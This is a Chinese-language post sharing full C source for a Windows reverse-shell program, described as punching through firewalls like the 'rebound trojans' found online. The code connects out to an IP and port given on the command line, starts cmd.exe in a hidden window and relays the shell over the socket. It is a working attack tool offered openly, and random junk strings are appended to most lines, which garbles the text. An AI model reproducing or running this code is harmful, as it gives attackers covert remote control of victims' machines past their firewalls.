Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 M49Hm[0(  
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/* ============================== 2Ju,P_<dt  
Rebound port in Windows NT 6|%HCxWO  
By wind,2006/7 Ax!fvcsN  
===============================*/ O}7aX '  
#include 8}^ym^H|j  
#include |e3YTLsI  
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#pragma comment(lib,"wsock32.lib") !|Y&h0e  

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void OutputShell(); "n<u(m8E  
SOCKET sClient; +,9Mufh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '9|R7  
^}GR!990  
void main(int argc,char **argv) H329P*P  
{  q0\$wI  
WSADATA stWsaData; Mz6|#P}.s  
int nRet; Z?w=-  
SOCKADDR_IN stSaiClient,stSaiServer; UX'tdB !A  
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if(argc != 3) ]m^ECA$  
{ .MRLAG  
printf("Useage:\n\rRebound DestIP DestPort\n"); sF#t{x/sW  
return; It^_?oiK  
} /3~}=b  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [dXRord  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v8A{q  
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stSaiClient.sin_family = AF_INET; 9, 792b  
stSaiClient.sin_port = htons(0); 11yS2D   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u+8?'ZT,  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Al]z=  
{ k:zGv  
printf("Bind Socket Failed!\n"); :.\h.H;  
return; XpOQBXbt  
} {*4Z9.2c*  
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stSaiServer.sin_family = AF_INET; s-
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9}Zi_xK&|e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E}=F   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &oiBMk`*  
{  eYRm:KC  
printf("Connect Error!"); eD 7Rv<  
return; Z?'){\$*  
} knZ<V%/e  
OutputShell(); cNqw(\rr  
} :y[tZ&*<_?  
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void OutputShell() oI%.oP}G  
{ :~9F/Jx  
char szBuff[1024]; w9a6F  
SECURITY_ATTRIBUTES stSecurityAttributes; cV)~%e/  
OSVERSIONINFO stOsversionInfo; GD .>u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OKzk\F6  
STARTUPINFO stStartupInfo; =t-503e.J  
char *szShell; vweD{\b  
PROCESS_INFORMATION stProcessInformation; =").W\,  
unsigned long lBytesRead; eM`"$xc Oe  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (tP^F)}e5  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $(%t^8{a~G  
stSecurityAttributes.lpSecurityDescriptor = 0; sQe>LNp,G  
stSecurityAttributes.bInheritHandle = TRUE; gG=E2+=uy  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;rH@>VrR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c}FZb$q#  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |4a#O8d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lL:J:  
stStartupInfo.wShowWindow = SW_HIDE; U=bZy,FT$  
stStartupInfo.hStdInput = hReadPipe; 7e&%R4{b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q}jl1dIq  
?2b9N~  
GetVersionEx(&stOsversionInfo); [VP~~*b  
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switch(stOsversionInfo.dwPlatformId) Fc<+N0M{  
{ hYNb9^  
case 1: BK]q^.7+:  
szShell = "command.com"; Gwkp(
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break; vd<" G}  
default: Ws`P(WHm  
szShell = "cmd.exe"; ,*Yu~4  
break; 07+Qai-]  
} <kmn3w,vi  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r yO\$m  
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send(sClient,szMsg,77,0); F 'U Gp  
while(1) @YTZnGG*  
{ bXiT}5mJU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j7 D\O  
if(lBytesRead) zW^@\kB0D  
{ AHhck?M^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9_GR\\  
send(sClient,szBuff,lBytesRead,0); DP9hvu/85  
} YX_p3  
else wy$9QN  
{ 6^.<5SJ}  
lBytesRead=recv(sClient,szBuff,1024,0); O(PG"c  
if(lBytesRead<=0) break; U.G**v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K_B-KK(^  
} u1&pJLK0[  
} S0Y$$r  
70:a2m  
return; BUcze\+  
}